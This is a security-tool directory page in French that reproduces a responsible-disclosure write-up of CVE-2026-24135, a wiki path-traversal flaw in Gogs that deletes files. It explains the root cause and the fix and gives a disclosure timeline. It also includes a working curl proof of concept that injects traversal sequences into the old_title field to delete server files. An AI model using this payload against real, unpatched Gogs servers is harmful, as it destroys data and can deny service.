Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-24135 — Suppression arbitraire de fichiers dans Gogs via un Path Traversal du Wiki | Kitploit
Outils/GitHubGitHub/reschjonas/cve-2026-24135
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionApprentissage et Éducation
GitHubreschjonas/cve-2026-24135

CVE-2026-24135

Suppression arbitraire de fichiers dans Gogs via un Path Traversal du Wiki

Voir le dépôt
1il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-24135 : Suppression arbitraire de fichiers dans Gogs via une traversée de chemin dans le wiki

Sévérité : Élevée (CVSS 7.5)
Logiciel affecté : Gogs <= 0.13.3
Corrigé dans : 0.13.4, 0.14.0+dev
Avis : GHSA-jp7c-wj6q-3qf2
Correctif : gogs/gogs#8099


Résumé

Lors d'un audit de sécurité de Gogs (un service Git auto-hébergé populaire écrit en Go), j'ai découvert une vulnérabilité de traversée de chemin dans la fonction updateWikiPage. Elle permet à un utilisateur authentifié disposant d'un accès en écriture au wiki de supprimer des fichiers arbitraires sur le serveur en injectant des séquences de traversée de chemin dans le paramètre old_title du formulaire d'édition du wiki.


Cause racine

La vulnérabilité est un défaut de sanitisation asymétrique dans internal/database/wiki.go. Lorsqu'une page wiki est mise à jour, la fonction traite deux paramètres de titre différemment :

ParamètreSanitisé ?

Code vulnérable

root@kitploit:~
// internal/database/wiki.go

// Line 105: New title IS sanitized
title = ToWikiPageName(title)
filename := path.Join(localPath, title+".md")

// Lines 113-115: Old title is NOT sanitized before os.Remove()
} else {
    os.Remove(path.Join(localPath, oldTitle+".md"))  // ← VULNERABLE
}

La valeur oldTitle transite directement de l'entrée de formulaire contrôlée par l'utilisateur, via le gestionnaire de route, jusqu'à os.Remove() sans aucune sanitisation du chemin.


Flux de données

root@kitploit:~
User Input (Form)          Route Handler                    Database Function
┌─────────────────┐        ┌─────────────────────┐          ┌──────────────────────────┐
│ f.OldTitle      │───────>│ EditWikiPost()      │─────────>│ updateWikiPage()         │
│ (unsanitized)   │        │ wiki.go:246         │          │                          │
└─────────────────┘        │                     │          │ Line 114:                │
                           │ No sanitization!    │          │ os.Remove(path.Join(     │
                           │                     │          │   localPath,             │
                           └─────────────────────┘          │   oldTitle+".md"))       │
                                                            └──────────────────────────┘

Vecteur d'attaque

Prérequis : Utilisateur authentifié disposant d'un accès en écriture au wiki de n'importe quel dépôt.

  1. Accédez à l'édition d'une page wiki existante
  2. Interceptez la requête POST vers /repo/wiki/edit
  3. Modifiez le champ old_title du formulaire pour y inclure des séquences de traversée de chemin (par ex. ../../../../tmp/target_file)
  4. Soumettez la requête
  5. Le serveur résout le chemin de traversée et supprime le fichier cible

Preuve de concept

root@kitploit:~
# Step 1: Authenticate and create/edit a wiki page
# Step 2: Intercept the POST request and inject traversal in old_title

curl -X POST "https://gogs.example.com/user/repo/wiki/TestPage?action=_edit" \
  -H "Cookie: i_like_gogs=<session_cookie>" \
  -d "old_title=../../../../../../../tmp/target_file" \
  -d "title=TestPage" \
  -d "content=test" \
  -d "message=test"

# Result: /tmp/target_file.md is deleted from the server

L'extension .md est ajoutée automatiquement. Tout fichier se terminant par .md sur lequel le processus Gogs dispose d'une permission d'écriture peut être supprimé.


Impact


Correctif

Appliquez à oldTitle la même sanitisation ToWikiPageName que celle déjà appliquée à title :

root@kitploit:~
 func (r *Repository) updateWikiPage(doer *User, oldTitle, title, content, message string, isNew bool) (err error) {
     // ... existing code ...

     title = ToWikiPageName(title)

+    // Sanitize oldTitle to prevent path traversal
+    if oldTitle != "" {
+        oldTitle = ToWikiPageName(oldTitle)
+    }

     filename := path.Join(localPath, title+".md")
     // ...
 }

J'ai proposé ce correctif lors de la divulgation et les mainteneurs de Gogs l'ont implémenté dans la PR #8099.


Chronologie de la divulgation


Références

  • Avis de sécurité GitHub : GHSA-jp7c-wj6q-3qf2
  • Correctif : gogs/gogs#8099
  • Projet Gogs
Télécharger l’outil
Utilisé dans
title (nouveau nom)Oui — via ToWikiPageName()path.Join() pour la création de fichier
oldTitle (ancien nom)Nonpath.Join() + os.Remove()
ImpactDescription
Suppression arbitraire de fichiersSupprimer tout fichier .md sur lequel le processus Gogs peut écrire
Déni de serviceSupprimer des fichiers de configuration ou de données critiques
Perte de donnéesDétruire les pages wiki, la documentation ou les fichiers de dépôt d'autres utilisateurs
Escalade potentielleCombinée à d'autres vulnérabilités, pourrait mener à une compromission plus étendue
DateÉvénement
2025-12-13Vulnérabilité découverte lors d'un audit de sécurité
2025-12-13Avis soumis via GitHub Security Advisory (GHSA-jp7c-wj6q-3qf2)
2026-01-20Relance auprès des mainteneurs de Gogs
2026-01-20Le mainteneur a reconnu la vulnérabilité
2026-01-22Correctif fusionné (#8099)
2026-01-22CVE-2026-24135 attribué par GitHub
2026-02-06Divulgation publique